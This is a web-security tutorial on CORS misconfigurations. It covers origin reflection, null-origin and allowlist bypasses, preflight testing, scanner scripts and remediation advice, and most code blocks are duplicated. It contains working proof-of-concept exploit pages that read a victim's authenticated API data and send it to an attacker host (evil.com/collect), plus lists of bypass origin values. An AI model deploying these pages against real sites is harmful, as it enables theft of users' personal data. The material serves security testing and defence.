Exploitation A05 A01

CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) misconfigurations can allow attackers to steal sensitive data, perform actions on behalf of users, and bypass same-origin policy protections.

โš ๏ธ Why CORS Misconfigurations Are Dangerous

Data Theft: Attackers can read sensitive API responses (PII, tokens, financial data) from victim's authenticated session
Often Overlooked: Developers frequently misconfigure CORS to "make things work" during development and forget to harden for production
Chain Amplifier: CORS misconfigurations amplify the impact of XSS, open redirects, and CSRF attacks
API-Heavy Apps: Modern SPAs and microservices rely heavily on CORS, increasing attack surface

๐Ÿ’ก Real-World Impact: CORS misconfigurations have led to account takeovers in major bug bounty programs including Uber, Facebook, and numerous financial applications.

CORS Fundamentals

CORS is a browser mechanism that allows controlled access to resources across different origins. It uses HTTP headers (Access-Control-Allow-Origin, Access-Control-Allow-Credentials) to tell the browser whether a cross-origin request should be allowed. Misconfiguration occurs when these headers are too permissive.

๐Ÿ› ๏ธ CORS Testing Tools

CORScanner

Automated CORS misconfiguration scanner

pip install cors GitHub โ†’

Corsy

CORS misconfiguration scanner by s0md3v

python3 corsy.py -u URL GitHub โ†’

Burp Suite

Passive CORS detection via scanner

# Active + Passive scan Website โ†’

Nuclei

Template-based CORS checks

nuclei -t cors/ GitHub โ†’

curl

Manual CORS header testing

curl -sI -H "Origin: ..."

OWASP ZAP

Passive CORS alerts built-in

# Passive scan mode Website โ†’

Understanding CORS Headers

Header Purpose Dangerous Values
Access-Control-Allow-Origin Specifies allowed origins * or reflected origin
Access-Control-Allow-Credentials Allows sending cookies/auth true with permissive ACAO
Access-Control-Allow-Methods Permitted HTTP methods PUT, DELETE, PATCH unnecessarily
Access-Control-Allow-Headers Permitted request headers * or Authorization
Access-Control-Expose-Headers Headers accessible to JS Sensitive headers exposed

1. Origin Reflection (Most Critical)

The server blindly reflects any Origin header value in the Access-Control-Allow-Origin response. Combined with Access-Control-Allow-Credentials: true, this allows full data theft.

bash
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present โ†’ CRITICAL: Full authenticated data theft possible
# Test for origin reflection
curl -sI -H "Origin: https://evil.com" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# If both present โ†’ CRITICAL: Full authenticated data theft possible

Exploitation PoC

html
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>
<!-- Steal authenticated user data via CORS misconfiguration -->
<html>
<body>
<h2>CORS Exploit PoC</h2>
<script>
  // This runs on attacker's site (evil.com)
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'  // Send victim's cookies
  })
  .then(response => response.json())
  .then(data => {
    // Exfiltrate the victim's data
    console.log('Stolen data:', JSON.stringify(data));
    
    // Send to attacker's server
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

2. Null Origin Bypass

Some applications allowlist the null origin, which can be triggered from sandboxed iframes, data: URIs, and local file origins.

bash
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
# Test for null origin acceptance
curl -sI -H "Origin: null" https://target.com/api/user/profile

# Look for:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
html
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>
<!-- Exploit null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        srcdoc="
<script>
  fetch('https://target.com/api/user/profile', {
    credentials: 'include'
  })
  .then(r => r.json())
  .then(d => {
    // Origin will be 'null' from sandboxed iframe
    fetch('https://evil.com/collect?data=' + btoa(JSON.stringify(d)));
  });
</script>
"></iframe>

3. Wildcard with Credentials

While browsers block Access-Control-Allow-Origin: * with credentials, some servers work around this by dynamically reflecting the origin when credentials are needed โ€” creating the same vulnerability as origin reflection.

http
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ†‘ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ†‘ Server dynamically reflects any origin to allow credentials
# Wildcard is safe for public APIs (no credentials)
Access-Control-Allow-Origin: *
# โ†‘ Browser will NOT send cookies with this

# DANGEROUS: Server reflects origin to work around wildcard limitation
# Request: Origin: https://evil.com
# Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# โ†‘ Server dynamically reflects any origin to allow credentials

4. Regex & Allowlist Bypass

Many applications use regex or string-matching to validate origins. Poorly implemented checks can be bypassed.

http
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)
# If server checks: origin.endsWith("target.com")
# Bypass with:
Origin: https://eviltarget.com
Origin: https://attackertarget.com

# If server checks: origin.includes("target.com")
# Bypass with:
Origin: https://target.com.evil.com
Origin: https://evil.com?target.com

# If server checks: origin matches /^https://.*.target.com$/
# Bypass with (if dot not escaped):
Origin: https://evilXtarget.com

# Subdomain-based bypass
Origin: https://evil.target.com
# (if any subdomain is accepted and attacker can claim one via takeover)

# Protocol downgrade
Origin: http://target.com
# (if https/http not distinguished)

5. Pre-flight Request Handling

Complex requests trigger a preflight OPTIONS request. Mishandling of preflight can expose additional attack vectors.

bash
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  โ† 24 hours, changes take effect slowly
# Test preflight handling
curl -X OPTIONS -sI \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization,X-Custom-Header" \
  https://target.com/api/data

# Check what methods and headers are allowed
# Look for overly permissive responses:
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# Also check if preflight is cached too long:
# Access-Control-Max-Age: 86400  โ† 24 hours, changes take effect slowly

Automation Scripts

Python CORS Scanner

python
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")
#!/usr/bin/env python3
"""CORS Misconfiguration Scanner"""
import requests
import sys
from urllib.parse import urlparse

def test_cors(url):
    """Test for common CORS misconfigurations"""
    results = []
    parsed = urlparse(url)
    
    tests = [
        # Origin reflection
        {"Origin": "https://evil.com"},
        # Null origin
        {"Origin": "null"},
        # Subdomain matching bypass
        {"Origin": f"https://evil.{parsed.netloc}"},
        # Prefix match bypass
        {"Origin": f"https://{parsed.netloc}.evil.com"},
        # Scheme downgrade
        {"Origin": f"http://{parsed.netloc}"},
    ]
    
    for headers in tests:
        try:
            resp = requests.get(url, headers=headers, timeout=10)
            acao = resp.headers.get("Access-Control-Allow-Origin", "")
            acac = resp.headers.get("Access-Control-Allow-Credentials", "")
            
            if acao == headers["Origin"]:
                severity = "CRITICAL" if acac.lower() == "true" else "HIGH"
                results.append({
                    "origin": headers["Origin"],
                    "reflected": acao,
                    "credentials": acac,
                    "severity": severity
                })
        except requests.RequestException as e:
            print(f"  [-] Error testing {headers}: {e}")
    
    return results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
    print(f"[*] Testing CORS on: {target}")
    findings = test_cors(target)
    
    if findings:
        for f in findings:
            print(f"  [!] {f['severity']}: Origin '{f['origin']}' reflected")
            print(f"      ACAO: {f['reflected']}")
            print(f"      Credentials: {f['credentials']}")
    else:
        print("  [+] No CORS misconfigurations found")

Bash Quick Check

bash
#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"

echo "[*] Testing CORS: $TARGET"

# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"

# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"

# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"

# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: X-Custom" \
  "$TARGET" | grep -i "access-control"

# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"
#!/bin/bash
# Quick CORS misconfiguration check
TARGET="$1"

echo "[*] Testing CORS: $TARGET"

# Test 1: Origin reflection
echo -e "\n--- Test: Arbitrary Origin ---"
curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control"

# Test 2: Null origin
echo -e "\n--- Test: Null Origin ---"
curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control"

# Test 3: Subdomain trick
DOMAIN=$(echo "$TARGET" | awk -F/ '{print $3}')
echo -e "\n--- Test: Subdomain Bypass ---"
curl -sI -H "Origin: https://evil.$DOMAIN" "$TARGET" | grep -i "access-control"

# Test 4: Preflight with dangerous methods
echo -e "\n--- Test: Preflight Request ---"
curl -sI -X OPTIONS \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: X-Custom" \
  "$TARGET" | grep -i "access-control"

# Test 5: Wildcard + credentials
echo -e "\n--- Test: Wildcard Check ---"
curl -sI -H "Origin: https://anything.com" "$TARGET" | grep -i "access-control"

Bulk Testing with Nuclei

bash
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"
# Scan a list of URLs for CORS misconfigurations
cat urls.txt | nuclei -t http/misconfiguration/cors/ -o cors_results.txt

# CORScanner for comprehensive testing
python3 cors_scan.py -i urls.txt -t 20

# Corsy
python3 corsy.py -i urls.txt --headers "Cookie: session=abc123"

High-Impact Exploitation Scenarios

๐Ÿ’ณ Account Data Theft

Steal user profile data, API keys, personal information, and payment details from authenticated API endpoints.

๐Ÿ”‘ Token Extraction

Extract CSRF tokens, API keys, or session data from responses to chain with other attacks.

๐Ÿ”„ State-Changing Actions

Perform authenticated mutations (password change, email update, money transfer) if CORS allows methods and credentials.

๐Ÿ—๏ธ Internal Network Probing

Exploit CORS on internal applications to pivot from an XSS on a public app to internal API data theft.

๐Ÿ›ก๏ธ Remediation & Defense

Defensive Measures

Origin Validation

  • โ€ข Use a strict allowlist of permitted origins (exact string match)
  • โ€ข Never reflect the Origin header without validation
  • โ€ข Reject null origin unless specifically required
  • โ€ข Validate both scheme and hostname (don't allow HTTP for HTTPS sites)

Header Configuration

  • โ€ข Only set Access-Control-Allow-Credentials: true when absolutely needed
  • โ€ข Restrict Access-Control-Allow-Methods to minimum required
  • โ€ข Limit Access-Control-Expose-Headers to non-sensitive headers
  • โ€ข Use short Access-Control-Max-Age values for preflight caching

Architecture

  • โ€ข Implement CORS at the reverse proxy/gateway level for consistency
  • โ€ข Use server-side proxying instead of CORS where possible
  • โ€ข Audit CORS configuration regularly in CI/CD
  • โ€ข Add CORS checks to security testing pipeline

Monitoring

  • โ€ข Log cross-origin requests with credentials
  • โ€ข Alert on CORS requests from unexpected origins
  • โ€ข Monitor for CORS policy changes in production
  • โ€ข Test CORS configuration after deployments

CWE References: CWE-942 (Permissive Cross-domain Policy), CWE-346 (Origin Validation Error)

โœ… CORS Testing Checklist

Origin Testing
  • โ˜ Arbitrary origin reflection
  • โ˜ Null origin acceptance
  • โ˜ Subdomain-based bypass
  • โ˜ Prefix/suffix matching flaws
  • โ˜ Protocol downgrade (httpโ†’https)
Header Analysis
  • โ˜ Credentials allowed with permissive ACAO
  • โ˜ Wildcard methods allowed
  • โ˜ Sensitive headers exposed
  • โ˜ Preflight caching duration
  • โ˜ Vary: Origin header present
Impact Assessment
  • โ˜ Sensitive data readable cross-origin
  • โ˜ State-changing actions possible
  • โ˜ Token/credential extraction
  • โ˜ Document PoC with evidence
  • โ˜ Rate CVSS appropriately

๐Ÿงช Practice Labs